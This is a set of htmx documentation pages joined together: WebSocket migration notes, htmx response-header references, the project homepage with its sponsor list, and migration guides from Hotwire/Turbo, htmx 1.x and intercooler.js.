specified element, namely `htmx:wsBeforeSend` and `htmx:wsAfterSend` events when sending your messages.

### Testing with the Demo Server

Htmx includes a demo WebSockets server written in Node.js that will help you to see WebSockets in action, and begin
bootstrapping your own WebSockets code. It is located in the /test/ws-sse folder of
the [`htmx-extensions`](https://github.com/bigskysoftware/htmx-extensions) repository. Look at /test/ws-sse/README.md
for instructions on running and using the test server.

### Migrating from Previous Versions

Previous versions of htmx used a built-in tag `hx-ws` to implement WebSockets. This code has been migrated into an
extension instead. Here are the steps you need to take to migrate to this version:

| Old Attribute           | New Attribute        | Comments                                                                                                                         |
|-------------------------|----------------------|----------------------------------------------------------------------------------------------------------------------------------|
| `hx-ws=""`              | `hx-ext="ws"`        | Use the `hx-ext="ws"` attribute to install the WebSockets extension into any HTML element.                                       |
| `hx-ws="connect:<url>"` | `ws-connect="<url>"` | Add a new attribute `ws-connect` to the tag that defines the extension to specify the URL of the WebSockets server you're using. |
| `hx-ws="send"`          | `ws-send=""`         | Add a new attribute `ws-send` to mark any child forms that should send data to your WebSocket server                             |

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/headers/hx-location.md

+++
title = "HX-Location Response Header"
description = """\
  Use the HX-Location response header in htmx to trigger a client-side redirection without reloading the whole page."""
+++

This response header can be used to trigger a client side redirection without reloading the whole page. Instead of changing the page's location it will act like following a [`hx-boost` link](@/attributes/hx-boost.md), creating a new history entry, issuing an ajax request to the value of the header and pushing the path into history.

A sample response would be:

```html
HX-Location: /test
```

Which would push the client to test as if the user had clicked on `<a href="/test" hx-boost="true">`

If you want to redirect to a specific target on the page rather than the default of document.body, you can pass more details along with the event, by using JSON for the value of the header:

```html
HX-Location: {"path":"/test2", "target":"#testdiv"}
```

Path is required and is url to load the response from. The rest of the data mirrors the [`ajax` api](@/api.md#ajax) context, which is:

* `source` - the source element of the request
* `event` - an event that "triggered" the request
* `handler` - a callback that will handle the response HTML
* `target` - the target to swap the response into
* `swap` - how the response will be swapped in relative to the target
* `values` - values to submit with the request
* `headers` - headers to submit with the request
* `select` - allows you to select the content you want swapped from a response
* `push` - set to `'false'` or a path string to prevent or override the URL pushed to browser location history
* `replace` - a path string to replace the URL in the browser location history

## Notes

Response headers are not processed on 3xx response codes. see [Response Headers](@/docs.md#response-headers)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/headers/hx-push-url.md

+++
title = "HX-Push-Url Response Header"
description = """\
  Use the HX-Push-Url response header in htmx to push a URL into the browser location history."""
+++

The `HX-Push-Url` header allows you to push a URL into the browser [location history](https://developer.mozilla.org/en-US/docs/Web/API/History_API).
This creates a new history entry, allowing navigation with the browser’s back and forward buttons.
This is similar to the [`hx-push-url` attribute](@/attributes/hx-push-url.md).

If present, this header overrides any behavior defined with attributes.

The possible values for this header are:

1. A URL to be pushed into the location bar.
   This may be relative or absolute, as per [`history.pushState()`](https://developer.mozilla.org/en-US/docs/Web/API/History/pushState).
2. `false`, which prevents the browser’s history from being updated.

## Notes

Response headers are not processed on 3xx response codes. see [Response Headers](@/docs.md#response-headers)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/headers/hx-push.md

+++
title = "HX-Push Response Header (Deprecated)"
description = """\
  The HX-Push response header in htmx is deprecated. Use HX-Push-Url instead."""
+++

The `HX-Push` header has been replaced by [`HX-Push-Url`](@/headers/hx-push-url.md)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/headers/hx-redirect.md

+++
title = "HX-Redirect Response Header"
description = """\
  Use the HX-Redirect response header in htmx to trigger a client-side redirection that will perform a full page \
  reload."""
+++

This response header can be used to trigger a client side redirection to a new url that will do a full reload of the whole page. It uses the browser to redirect to the new location which can be useful when redirecting to non htmx endpoints that may contain different HTML `head` content or scripts.  See [`HX-Location`](@/headers/hx-location.md) if you want more control over the redirect or want to use ajax requests instead of full browser reloads. 

A sample response would be:

```html
HX-Redirect: /test
```

Which would push the client to test as if the user had entered this url manually or clicked on a non-boosted link `<a href="/test">`

## Notes

Response headers are not processed on 3xx response codes. see [Response Headers](@/docs.md#response-headers)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/headers/hx-replace-url.md

+++
title = "HX-Replace-Url Response Header"
description = """\
  Use the HX-Replace-Url response header in htmx to replace the current URL in the browser location history without \
  creating a new history entry."""
+++

The `HX-Replace-Url` header allows you to replace the current URL in the browser [location history](https://developer.mozilla.org/en-US/docs/Web/API/History_API).
This does not create a new history entry; in effect, it removes the previous current URL from the browser&rsquo;s history.
This is similar to the [`hx-replace-url` attribute](@/attributes/hx-replace-url.md).

If present, this header overrides any behavior defined with attributes.

The possible values for this header are:

1. A URL to replace the current URL in the location bar.
   This may be relative or absolute, as per [`history.replaceState()`](https://developer.mozilla.org/en-US/docs/Web/API/History/replaceState), but must have the same origin as the current URL.
2. `false`, which prevents the browser’s current URL from being updated.

## Notes

Response headers are not processed on 3xx response codes. see [Response Headers](@/docs.md#response-headers)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/headers/hx-trigger.md

+++
title = "HX-Trigger Response Headers"
description = """\
  Use the HX-Trigger family of response headers in htmx to trigger client-side actions from an htmx response."""
+++

These response headers can be used to trigger client side actions on the target element within a response to htmx.  You
can trigger a single event or as many uniquely named events as you would like.

The headers are:

* `HX-Trigger` - trigger events as soon as the response is received.
* `HX-Trigger-After-Settle` - trigger events after the [settling step](@/docs.md#request-operations).
* `HX-Trigger-After-Swap` - trigger events after the [swap step](@/docs.md#request-operations).

To trigger a single event with no additional details you can simply send the event name in a header like so:

`HX-Trigger: myEvent`

This will trigger `myEvent` on the triggering element and will bubble up to the body.  As an example you could
listen for this event like this:

```javascript
document.body.addEventListener("myEvent", function(evt){
    alert("myEvent was triggered!");
})
```

... or like this, if you're trying to trigger some element without using JS code:

```html
<!-- Since it bubbles up to the <body>, we must use the `from:body` modifier below -->
<div hx-trigger="myEvent from:body" hx-get="/example"></div>
```

If you want to pass details along with the event, you can move to JSON for the value of the trigger:

`HX-Trigger: {"showMessage":"Here Is A Message"}`

To handle this event you would write the following code:

```javascript
document.body.addEventListener("showMessage", function(evt){
    alert(evt.detail.value);
})
```

Note that the value of the message was put into the `detail.value` slot.  If you wish to pass multiple pieces of data
you can use a nested JSON object on the right hand side of the JSON object:

`HX-Trigger: {"showMessage":{"level" : "info", "message" : "Here Is A Message"}}`

And handle this event like so:

```javascript
document.body.addEventListener("showMessage", function(evt){
   if(evt.detail.level === "info"){
     alert(evt.detail.message);   
   }
})
```

Each property of the JSON object on the right hand side will be copied onto the details object for the event.

### Targeting Other Elements

You can trigger events on other target elements by adding a `target` argument to the JSON object.

`HX-Trigger: {"showMessage":{"target" : "#otherElement"}}`

### Multiple Triggers

If you wish to invoke multiple events, you can simply add additional properties to the top level JSON
object:

`HX-Trigger: {"event1":"A message", "event2":"Another message"}`

You may also trigger multiple events with no additional details by sending event names separated by commas, like so:

`HX-Trigger: event1, event2`

Using events gives you a lot of flexibility to add functionality to normal htmx responses.

## Notes

Response headers are not processed on 3xx response codes. see [Response Headers](@/docs.md#response-headers)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/headers/_index.md

+++
# There is no /headers URL; this file exists to define a Zola section for this directory
+++

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/_index.md

+++
insert_anchor_links = "heading"
+++

<style type="text/css">
.wuw {
  display:none;
}
.uwu {
  display:none;
}
body.lmao .dark-hero .main {
    display:none;
}
body.lmao .dark-hero .wuw {
    display:block;
    padding-top: 24px;
}
body.lmao .dark-hero .uwu {
    display:none;
}
body.kawaii .dark-hero .main {
    display:none;
}
body.kawaii .dark-hero .wuw {
    display:none;
}
body.kawaii .dark-hero .uwu {
    display:block;
    padding-top: 24px;
}

body.ads .ad {
  display: block;
  text-align: center;
  margin-left: calc(50% - 50vw);
  margin-right: calc(50% - 50vw);
}

body.ads .ad a:hover {
  opacity: 100%;
}

body .ad {
  display: none;
}

body.ads .ad img {
  max-width: 90vw;
}

</style>
<script type="application/javascript">
if(window.location.search=="?wuw=true" || window.location.search=="?suw=true") {
  document.body.classList.add("lmao")
}
if(window.location.search=="?uwu=true") {
  document.body.classList.add("kawaii")
}
if(window.location.search=="?ads=true") {
  document.body.classList.add("ads")
}
</script>

<div class="ad" style="margin-bottom: 30px">
<a href="https://swag.htmx.org">
  <img src="/img/ads_top.png" alt="Ad: MacMall PowerBooks as low as 1999$!
    Call 888-932-1569. Get your FREE 64MB RAM with your PowerBook!"/>
</a>
</div>

<div class="dark-hero full-width" classes="add appear">
  <div class="main">
      <span class="logo dark">&lt;<span class="blue">/</span>&gt; <span class="no-mobile">htm<span class="blue">x</span></span></span>
      <sub class="no-mobile"><i>high power tools for HTML</i></sub>
  </div>
  <div class="wuw">
     <a href="https://swag.htmx.org/products/shut-up-warren-tee">
       <img src="/img/wuw.png" alt="shut up warren ⁺₊✦ uwu">
     </a>
  </div>
  <div class="uwu">
     <a href="https://swag.htmx.org/products/htmx-katakana-shirt">
       <img src="/img/kawaii.png" alt="htmx エイチティーエムエックス uwu">
     </a>
  </div>

</div>
<div class="ad">
<a href="https://swag.htmx.org">
  <img src="/img/ads_bottom.png" alt="Ads: Get Flash! FREE Microsoft Internet Explorer!
    Netscape Now! (3.0) Site created with Microsoft&reg; FrontPage&trade;.
    Powered by Microsoft BackOffice."/>
</a>
</div>

<h2>introduction</h2>

htmx gives you access to [AJAX](@/docs.md#ajax), [CSS Transitions](@/docs.md#css_transitions), [WebSockets](@/docs.md#websockets-and-sse) and [Server Sent Events](@/docs.md#websockets-and-sse)
directly in HTML, using [attributes](@/reference.md#attributes), so you can build
[modern user interfaces](@/examples/_index.md) with the [simplicity](https://en.wikipedia.org/wiki/HATEOAS) and
[power](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm) of hypertext

htmx is small ([~16k min.gz'd](https://cdn.jsdelivr.net/npm/htmx.org/dist/)),
[dependency-free](https://github.com/bigskysoftware/htmx/blob/master/package.json),
[extendable](https://htmx.org/extensions) & has **reduced** code base sizes by [67% when compared with react](@/essays/a-real-world-react-to-htmx-port.md)

<h2>motivation</h2>

* Why should only [`<a>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a) & [`<form>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form) be able to make HTTP requests?
* Why should only [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) & [`submit`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/submit_event) events trigger them?
* Why should only [`GET`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET) & [`POST`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST) methods be [available](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods)?
* Why should you only be able to replace the **entire** screen?

By removing these constraints, htmx completes HTML as a [hypertext](https://en.wikipedia.org/wiki/Hypertext)

<h2>quick start</h2>

```html
  <script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js"></script>
  <!-- have a button POST a click via AJAX -->
  <button hx-post="/clicked" hx-swap="outerHTML">
    Click Me
  </button>
```

The [`hx-post`](@/attributes/hx-post.md) and [`hx-swap`](@/attributes/hx-swap.md) attributes on
this button tell htmx:

> "When a user clicks on this button, issue an AJAX request to /clicked, and replace the entire button with the HTML response"

htmx is the successor to [intercooler.js](http://intercoolerjs.org)

Read the [docs introduction](@/docs.md#introduction) for a more in-depth... introduction.

Note that htmx 2.x has dropped IE support.  If you require IE support you can use the [1.x](https://v1.htmx.org)
code-line, which will be supported in perpetuity.

<h2><a name='book'></a>book</h2>

We are happy to announce the release of [Hypermedia Systems](https://hypermedia.systems), a book on how to build
[Hypermedia-Driven Applications](@/essays/hypermedia-driven-applications.md) using htmx & more:

<div style="text-align: center;padding: 24px">
<a href="https://www.amazon.com/dp/B0C9S88QV6/ref=sr_1_1?crid=1P0I3GXQK32TN"><img src="/img/hypermedia-systems.png" alt="Hypermedia Systems hardcover edition"></a>
</div>

<h2>sponsors <iframe src="https://github.com/sponsors/bigskysoftware/button" title="Sponsor htmx" height="32" width="114" style="border: 1px solid gray; border-radius: 12px; float:right"></iframe></h2>


htmx development can be supported via [GitHub Sponsors](https://github.com/sponsors/bigskysoftware?o=esb)


Thank you to all our generous <a href="https://github.com/sponsors/bigskysoftware?o=esb">supporters</a>, including:

<style>
#sponsor-table td {
  text-align: center;
  padding: 16px;
  min-height: 100px;
  border-bottom: none;
  width:33%;
}

@media only screen and (max-width: 760px)  {

	/* Force table to not be like tables anymore */
	table, thead, tbody, th, td, tr {
		display: block;
	}
    #sponsor-table td {
      width:90%;
    }
    #sponsor-table td * {
      margin: auto;
    }
}

</style>
<div style="overflow-x: auto">

<h1 style="margin-top:32px;text-align:center">Platinum Sponsor</h1>
<div style="display: grid;grid-template-columns: 1fr">
<div>
        <a data-github-account="commspace" href="https://www.commspace.co.za">
        <img class="dark-hidden" src="/img/commspace.svg" alt="commspace" style="min-width:200px"/>
        <img class="dark-visible" src="/img/commspace-dark.svg" alt="commspace" style="min-width:200px"/>
        </a>
</div>
</div>

## Silver Sponsors
<style>
#silver-sponsors div {
  text-align: center;
  padding: 12px;
}
#silver-sponsors div a * {
    width: 80%;
}
#silver-sponsors img {
    min-width: 150px;
}
</style>
<div id="silver-sponsors" style="display: grid;grid-template-columns: repeat(3, 1fr); align-items: center; justify-items: center; ">
<div>
        <a data-github-account="JetBrainsOfficial" href="https://www.jetbrains.com"><img  src="/img/jetbrains.svg" alt="Jetbrains"></a>
</div>
<div>
        <a href="https://github.blog/2023-04-12-github-accelerator-our-first-cohort-and-whats-next"><img class="dark-invert" src="/img/Github_Logo.png" alt="GitHub" style="max-width:80%;min-width:100px;"></a>
</div>
<div>
        <a data-github-account="craftcms" href="https://craftcms.com">
        <img class="dark-hidden" src="/img/logo-craft-cms.svg" alt="craft cms">
        <img  class="dark-visible" src="/img/logo-craft-cms-dark.svg" alt="craft cms">
        </a>
</div>
<div>
        <a data-github-account="ButterCMS" href="https://buttercms.com/?utm_campaign=sponsorship&utm_medium=banner&utm_source=htmxhome">
          <img class="dark-invert" style="min-width: 150px;" src="/img/butter-cms.svg" alt="ButterCMS">
        </a>
</div>
<div>
        <a data-github-account="Black-HOST" href="https://black.host">
          <img class="dark-invert"  src="/img/blackhost-logo.svg" alt="Black Host">
        </a>
</div>
<div>
        <a href="https://www.v7n.com/">
          <img alt="V7N" class="dark-hidden" src="/img/v7n-logo.png">
          <img alt="V7N" class="dark-visible" src="/img/v7n-logo-dark.png">
        </a>
</div>
<div>
      <a data-github-account="sekunho" href="https://tacohiro.systems/"><img src="/img/sekun-doggo.jpg" alt="Hiro The Doggo" style="border: 2px solid lightgray; border-radius:20px"></a>
</div>
<div>
        <a href="https://dasfilter.shop/pages/affiliates">
          <img class="dark-hidden"  alt="Das Filter" src="/img/das-filter.svg">
          <img class="dark-visible" alt="Das Filter" src="/img/das-filter-dark.svg">
        </a>
</div>
<div>
      <a href="https://www.pullapprove.com/?utm_campaign=sponsorship&utm_medium=banner&utm_source=htmx">
        <img class="dark-hidden" src="/img/pullapprove-logo.svg" alt="PullApprove"/>
        <img class="dark-visible" src="/img/pullapprove-logo-dark.svg" alt="PullApprove"/>
      </a>
</div>
<div>
      <a data-github-account="uibakery" href="https://uibakery.io">
      <img class="dark-hidden" src="/img/ui-bakery.svg" alt="UI Bakery">
      <img class="dark-visible" src="/img/ui-bakery-dark.svg" alt="UI Bakery"></a>
</div>
<div>
    <a data-github-account="tracebit-com" href="https://tracebit.com/?utm_source=htmx">
      <img class="dark-hidden" alt="Tracebit Cloud Canaries" src="/img/tracebit-logo.png">
      <img class="dark-visible" alt="Tracebit Cloud Canaries" src="/img/tracebit-logo-dark.png">
    </a>
</div>
<div>
      <a data-github-account="pubkey" href="https://rxdb.info/?utm_source=sponsor&utm_medium=githubsponsor&utm_campaign=githubsponsor-htmx">
        <img src="/img/rxdb.svg" alt="RxDB JavaScript Database"></a>
</div>
<div>
      <a href="https://www.ohne-makler.net/"><img src="/img/ohne-makler.svg" alt="Ohne-Makler" style="width:100%;max-width:150px"></a>
</div>
<div>
        <a data-github-account="cased" href="https://cased.com///">
          <img class="dark-hidden" alt="Developer friendly DevOps" src="/img/Cased_Logo_DarkBlue.svg" style="width:100%;max-width:250px">
          <img class="dark-visible" alt="Developer friendly DevOps" src="/img/Cased_Logo_Beige-01.svg" style="width:100%;max-width:250px">
        </a>
</div>
<div>
        <a data-github-account="llcorg" href="https://www.llc.org/">
          <img alt="How to start an LLC - a guide from LLC.org, proud open source sponsor" src="/img/llc-org.svg" style="width:100%;max-width:250px">
        </a>
</div>


<div>
        <a data-github-account="VPSServerCom" href="https://www.vpsserver.com/">
          <img class="dark-hidden" alt="VPS Server Hosting in the Cloud: Cost Efficiency" src="/img/vps-server-logo.svg" style="width:100%;max-width:250px">
          <img class="dark-visible" alt="VPS Server Hosting in the Cloud: Cost Efficiency" src="/img/vps-server-logo-dark.svg" style="width:100%;max-width:250px">
        </a>
</div>
<div>
        <a data-github-account="appleple" href="https://www.a-blogcms.jp/">
          <img src="/img/ablogcms_logo.svg" style="width:100%;max-width:250px">
        </a>
</div>
<div>
        <a data-github-account="CoverageCritic" alt="Find Internet Providers With Broadband Map" href="https://broadbandmap.com/">
           <img class="dark-hidden" src="/img/BroadbandMapLogo2LineLightMode.png" style="width:100%;max-width:250px">
           <img class="dark-visible" src="/img/BroadbandMapLogo2LineDarkMode.png" style="width:100%;max-width:250px">
        </a>
</div>
<div>
        <a data-github-account="Follower24" alt="Follower24" href="https://www.follower24.de/">
           <img class="dark-hidden" src="/img/follower_light.svg" style="width:100%;max-width:250px">
           <img class="dark-visible" src="/img/follower_dark.svg" style="width:100%;max-width:250px">
        </a>
</div>
<div>
    <a data-github-account="ExchangeRate-API" alt="The Accurate & Reliable Exchange Rate API" href="https://www.exchangerate-api.com">
       <img class="dark-hidden" src="/img/exchange-rate-api.png" style="width:100%;max-width:250px">
       <img class="dark-visible" src="/img/exchange-rate-api-dark.png" style="width:100%;max-width:250px">
    </a>
</div>
</div>

<div style="text-align: center;font-style: italic;margin-top: 26px;">ʕ •ᴥ•ʔ made in montana</div>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/migration-guide-hotwire-turbo.md

+++
title = "Hotwire / Turbo ➡️ htmx Migration Guide"
+++

The purpose of this guide is to provide common practices for "Hotwire Equivalent" features in htmx.

* htmx is focused on a set of transparent, highly flexible extensions of html to its logical conclusion as a hypertext.
* Hotwire / Turbo is focused on a smooth out of the box experience, but is more opinionated and less flexible.

## Turbo Drive

* `<body hx-boost="true">` to enable a Turbo Drive-like experience. See: [hx-boost](@/attributes/hx-boost.md)
* As with Turbo Drive, if the user has javascript disabled, `hx-boost` will continue to work. See: [Progressive Enhancement](https://en.wikipedia.org/wiki/Progressive_enhancement)
* `hx-boost="false"` is equivalent to `data-turbo="false"` and used to disable boost on specific links or forms. See: [Handbook](https://turbo.hotwired.dev/handbook/drive#disabling-turbo-drive-on-specific-links-or-forms)
* Redirect after form submission (302, 303, 307, 3xx) `hx-target="body" hx-swap="outerHTML" hx-push-url="true"` See: [Handbook](https://turbo.hotwired.dev/handbook/drive#redirecting-after-a-form-submission)
* Disable buttons on form submission See: [Handbook](https://turbo.hotwired.dev/handbook/drive#form-submissions)
  * Only disable buttons because `<form>` does not submit disabled fields. See: [MDN: disabled](https://developer.mozilla.org/docs/Web/HTML/Attributes/disabled)
```javascript
addEventListener("submit", (event) => {
    event.target.querySelectorAll("button").forEach(node => { node.disabled = true })
})
addEventListener("htmx:afterOnLoad", (event) => {
    event.target.querySelectorAll("button").forEach(node => { node.disabled = false })
})
```
* Or, [hx-on](@/attributes/hx-on.md) may be used:
  * `hx-on:submit= 'event.target.querySelectorAll("button").forEach(node => { node.disabled = true })'`
  * `hx-on:htmx:afterOnLoad= 'event.target.querySelectorAll("button").forEach(node => { node.disabled = false })'`
* Or, [hyperscript](https://hyperscript.org) may be used: `_="on submit toggle @disabled <button/> in me until htmx:afterOnLoad"` See: [Cookbook](https://hyperscript.org/cookbook/)

## Turbo Frames

* htmx combines all ideas of "Turbo Frames" into the base attributes. No `<turbo-frame>` required.
* Lazy loading: `hx-trigger="load, submit"`  See: [Handbook](https://turbo.hotwired.dev/reference/frames#lazy-loaded-frame)

## Turbo Streams

* htmx combines all ideas of "Turbo Streams" into the base attributes. No `<turbo-stream>`, no `<template>` required.
* Note: Turbo Streams can perform many actions anywhere on a page (similar to [hx-select-oob](@/attributes/hx-select-oob.md) and [hx-swap-oob](@/attributes/hx-swap-oob.md)) while Turbo Frames only update what is wrapped within `<turbo-frame> .. </turbo-frame>`

## Events

* Intercepting or Pausing Events. `htmx:config-request` is equivalent to `turbo:before-fetch-request` See: [Handbook](https://turbo.hotwired.dev/handbook/drive#pausing-requests)
  * `htmx:config-request` is the same as `htmx:configRequest` See: [Event Naming](@/docs.md#event_naming)

```javascript
document.body.addEventListener('htmx:configRequest', (event) => {
    event.detail.headers['Authorization'] = `Bearer ${token}`
})
```

* Or, use an [hx-trigger](@/attributes/hx-trigger.md) condition: `hx-trigger="submit[action(target)]"`
  * Does not currently resolve async calls. See [issue](https://github.com/bigskysoftware/htmx/issues/912)
* Or, use [hx-on](@/attributes/hx-on.md): `hx-on:click="event.preventDefault(); action(this); htmx.trigger(this, 'ready')"` `hx-trigger="ready"`
* Or, use [hyperscript](https://hyperscript.org): `_="on submit halt the event action(target) trigger ready"` `hx-trigger="ready"`
  * Will resolve async calls such as `fetch`. See: [async transparency](https://hyperscript.org/docs/#async)

## Stimulus

* [hx-on](@/attributes/hx-on.md) provides an inline, vanilla substitute for a wide variety of use cases.
* [hyperscript](https://hyperscript.org) is a close analogue and an official companion project to htmx, but the two projects are entirely separated and can be used exclusively from each other or any other library.
* For other options, see: [htmx: Scripting](/docs/#scripting)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/migration-guide-htmx-1.md

+++
title = "htmx 1.x &rarr; htmx 2.x Migration Guide"
+++

The purpose of this guide is to provide instructions for migrations from htmx 1.x to htmx 2.x.
We place a very high value on backwards compatibility, so in most cases this migrations should require very little, if any, work.

* If you are using htmx in a module setting, we now provide module-type specific files for all three of the major
  JavaScript module types
  * ESM Modules: `/dist/htmx.esm.js`
  * AMD Modules: `/dist/htmx.amd.js`
  * CJS Modules: `/dist/htmx.cjs.js`
  * The `/dist/htmx.js` file continues to be browser-loadable
* All extensions have been removed from the core htmx distribution and are distributed separately.  While many 1.x 
  extensions will continue to work with htmx 2, you
  must upgrade the SSE extension to the 2.x version, and it is recommended that you upgrade all of them to the 2.x
  versions.
* If you are still using the legacy `hx-ws` and `hx-sse` attributes, please upgrade to the extension versions 
* Default Changes
  * If you want to retain the 1.0 behavior of "smooth scrolling" by default, revert `htmx.config.scrollBehavior` to `'smooth'`
  * If you want `DELETE` requests to use a form-encoded body rather than parameters, revert
    `htmx.config.methodsThatUseUrlParams` to `["get"]` (it's a little crazy, but `DELETE`, according to the spec, should
     use request parameters like `GET`.)
  * If you want to make cross-domain requests with htmx, revert `htmx.config.selfRequestsOnly` to `false`
* Convert any `hx-on` attributes to their `hx-on:` equivalent:
  ```html
     <button hx-get="/info" hx-on="htmx:beforeRequest: alert('Making a request!')
                                   htmx:afterRequest: alert('Done making a request!')">
      Get Info!
     </button>
  ```
  becomes:
  ```html
     <button hx-get="/info" hx-on:htmx:before-request="alert('Making a request!')"
                            hx-on:htmx:after-request="alert('Done making a request!')">
      Get Info!
     </button>
  Note that you must use the kebab-case of the event name due to the fact that attributes are case-insensitive in HTML.
  ```
* The `htmx.makeFragment()` method now **always** returns a `DocumentFragment` rather than either an `Element` or `DocumentFragment`
* If you are an extension author and your extension was using `selectAndSwap` method from internal API, it was removed and replaced with `swap` method,
  which is available from both internal and public htmx APIs

To do a swap using new method, you need to simply use

  ```js
  let content = "<div>Hello world</div>"; // this is HTML that will be swapped into target
  let target = api.getTarget(child);
  let swapSpec = api.getSwapSpecification(child);
  api.swap(target, content, swapSpec);
  ```

`swap` method documentation is available on [JS API Reference](/api/#swap)

IE is no longer supported in htmx 2.0, but [htmx 1.x](https://v1.htmx.org) continues to support IE and will be supported 
for the foreseeable future.

## Upgrade Music

This is the official htmx 1.x -> 2.x upgrade music:

<iframe width="640" height="360" src="https://www.youtube.com/embed/YDkD-N5goMg" title="PYLOT - Upgrades (Visualizer)" 
        frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/migration-guide-intercooler.md

+++
title = "intercooler.js &rarr; htmx Migration Guide"
aliases = ['/migration-guide']
+++

The purpose of this guide is to:
 -  _map_ the equivalent htmx attributes, headers, events, methods, etc. that are available in Intercooler
 -  _provide workarounds_ to achieve the same/similar outcome in the cases where there is no direct equivalent in htmx core (usually via an htmx extension or via [hyperscript](https://hyperscript.org))
 -  _highlight gaps_ which can't (yet) be elegantly solved via core htmx, any of the existing extensions or [hyperscript](https://hyperscript.org)

## Before you begin

It is worth noting the difference in approach between what Intercooler set out to do and what htmx is doing.

**Intercooler** tried to provide custom html attributes for most of it's functionality. This is evident in it's longer list of attributes, many of which could be described as convenience or client-side-focused in nature.

**htmx** follows the approach of trying to keep the core small, with a smaller set of available attributes that are mostly focused on content loading and swapping.

This capability is augmented in primarily 2 ways:

1. [Extensions](https://htmx.org/extensions). The htmx extension framework allows for custom extensions/plugins to achieve specific functionality. An example  of this is the dependencies mechanism baked into Intercooler, which is not present in htmx core. but available via [an extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/path-deps/README.md). There are also other extensions which enables new behavior that Intercooler was not capable of out the box, e.g. the [`preload` extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/preload/README.md)

2. Using the htmx events system with vanilla javascript, [alpine.js](https://github.com/alpinejs/alpine/) or [hyperscript](https://hyperscript.org).  Hyperscript is a small, open scripting language designed to be embedded in HTML, inspired by HyperTalk and is a companion project of htmx.

htmx also contains functionality which is not present in Intercooler. That is outside of the scope of this guide.<br>

Finally, it's worth noting that this is still a work in progress and is liable to change over time.

## Migration Information

The rest of this guide is laid out as a set of tables, each of which attempts to map the following common functional areas of Intercooler onto the htmx equivalents:

 - [Attributes](#attributes)
 - [Request Parameters](#request-parameters)
 - [Request Headers](#request-headers)
 - [Response Headers](#response-headers)
 - [Events](#events)
 - [Javascript API Methods](#methods)
 - [Meta Tags](#meta-tags)

#### Attributes

**Note**: For certain Intercooler attributes (mostly client-side specific attributes, e.g. the ic-action and associated attributes) there are no direct htmx equivalents. Instead, there is a small, expressive language available called hyperscript, (see http://hyperscript.org), which is designed to be embedded in HTML and acts as a seamless companion to htmx. It allows you to achieve the same behavior as some of especially the _client-side focused_ Intercooler attributes, but in a more flexible and open manner.

See the [htmx documentation on hyperscript](https://hyperscript.org) for practical examples, as well as more on the philosophy behind hyperscipt.

| Intercooler | htmx |
|-----------|-------------|
| [`ic-action`](https://intercoolerjs.org/attributes/ic-action.html) | None. Use [Hyperscript][], e.g. `<button _="on click add .clicked">Add The "clicked" Class To Me</button>`. See the [htmx documentation on hyperscript](https://hyperscript.org) and [hyperscript documentation](https://hyperscript.org)for more examples
| [`ic-action-target`](https://intercoolerjs.org/attributes/ic-action-target.html) | None. Use the [Hyperscript target expression](https://hyperscript.org/expressions/target/), e.g. `<div _="on click set .button.style.color to 'red'">Set All Buttons To Red</div>`
| [`ic-add-class`](https://intercoolerjs.org/attributes/ic-add-class.html) | None. Use [Hyperscript][], e.g. `<button _="on click add .clicked">Add The "clicked" Class To Me</button>`. See the [htmx documentation on hyperscript](https://hyperscript.org) and [hyperscript documentation](https://hyperscript.org) for more examples
| [`ic-append-from`](https://intercoolerjs.org/attributes/ic-append-from.html) | None. Equivalent functionality can be achieved by using for example [`hx-get`](@/attributes/hx-get.md) and [`hx-swap`](@/attributes/hx-swap.md) with value `beforeend`
| [`ic-attr-src`](https://intercoolerjs.org/attributes/ic-attr-src.html) | None. No direct equivalent functionality exists (TBC)
| [`ic-confirm`](https://intercoolerjs.org/attributes/ic-confirm.html) | [`hx-confirm`](@/attributes/hx-confirm.md)
| [`ic-delete-from`](https://intercoolerjs.org/attributes/ic-delete-from.html) | [`hx-delete`](@/attributes/hx-delete.md)
| [`ic-deps`](https://intercoolerjs.org/attributes/ic-deps.html) | `hx-trigger="path-deps"` along with `path-deps="/foo/bar"`. (Requires the [`path-deps` extension](https://github.com/bigskysoftware/htmx-extensions/blob/main/src/path-deps/README.md))
| [`ic-disable-when-doc-hidden`](https://intercoolerjs.org/attributes/ic-disable-when-doc-hidden.html) | None. No direct equivalent functionality exists (TBC)
| [`ic-disable-when-doc-inactive`](https://intercoolerjs.org/attributes/ic-disable-when-doc-inactive.html) | None. No direct equivalent functionality exists (TBC)
| [`ic-enhance`](https://intercoolerjs.org/attributes/ic-enhance.html) | [`hx-boost`](@/attributes/hx-boost.md)
| [`ic-fix-ids`](https://intercoolerjs.org/attributes/ic-fix-ids.html) | None. No direct equivalent functionality exists (TBC)
| [`ic-get-from`](https://intercoolerjs.org/attributes/ic-get-from.html) | [`hx-get`](@/attributes/hx-get.md)
| [`ic-global-include`](https://intercoolerjs.org/attributes/ic-global-include.html) | None. [`hx-include`](@/attributes/hx-include.md) can be used to achieve similar functionality
| [`ic-global-indicator`](https://intercoolerjs.org/attributes/ic-global-indicator.html) | None. [`hx-indicator`](@/attributes/hx-indicator.md) can be used to achieve similar functionality
| [`ic-history-elt`](https://intercoolerjs.org/attributes/ic-history-elt.html) | [`hx-history-elt`](@/attributes/hx-history-elt.md)
